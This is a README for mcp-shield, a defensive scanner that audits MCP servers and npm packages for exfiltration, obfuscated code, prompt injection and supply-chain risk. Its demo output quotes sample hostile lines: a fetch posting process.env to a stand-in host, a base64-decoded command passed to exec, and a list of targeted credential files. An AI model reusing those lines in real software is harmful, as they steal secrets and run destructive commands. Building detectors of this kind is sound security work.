# mcp-shield

> A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.

The MCP ecosystem is growing fast. Not every server on npm is safe. `mcp-shield` lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.

---

## What it detects

| Category | Examples |
|----------|---------|
| **Exfiltration** | `process.env` sent over network, SSH key access, AWS credential reads |
| **Code execution** | `eval()`, `new Function()`, `child_process.exec()`, dynamic `require()` |
| **Obfuscation** | Base64 runtime decoding, hex-encoded payloads, char-code arrays |
| **Sensitive file access** | `.env`, `id_rsa`, browser cookies, `~/.gitconfig` |
| **Prompt injection** | Hidden instructions, zero-width characters, role-switch attacks, jailbreak patterns |
| **Supply chain** | Package age, download count, maintainer count, CVEs in dependencies |

---

## Demo

```
You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)
```

---

## Tools

| Tool | What it does |
|------|-------------|
| `scan_package` | Download an npm MCP package and scan it for malicious patterns |
| `scan_directory` | Scan a local MCP server directory (cloned from GitHub, etc.) |
| `check_prompt_injection` | Check tool descriptions or responses for hidden injections |
| `audit_supply_chain` | Get trust score, CVEs, maintainer count, and age for any npm package |

---

## Installation

### Option 1 — npx (no install)
```bash
claude mcp add mcp-shield -- npx mcp-shield
```

### Option 2 — global install
```bash
npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield
```

### Option 3 — manual config
Add to `~/.claude/claude_mcp_config.json`:
```json
{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}
```

---

## Usage examples

```
"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"
```

---

## How it works

**Static analysis** — scans JavaScript/TypeScript source files with a library of regex patterns covering 20+ attack signatures across 5 categories.

**Supply chain audit** — queries the npm registry for package metadata, then runs `npm audit` to surface known CVEs in the dependency tree.

**Prompt injection detection** — checks tool descriptions and responses for zero-width characters, instruction overrides, role-switch attacks, and other LLM-targeting techniques.

**`--ignore-scripts` installation** — when scanning npm packages, installs with `--ignore-scripts` so no malicious postinstall hooks run during analysis.

---

## Contributing

PRs welcome. Detection patterns live in [`src/patterns.ts`](src/patterns.ts) — adding new signatures is a single object.

```bash
git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev
```

---

## License

MIT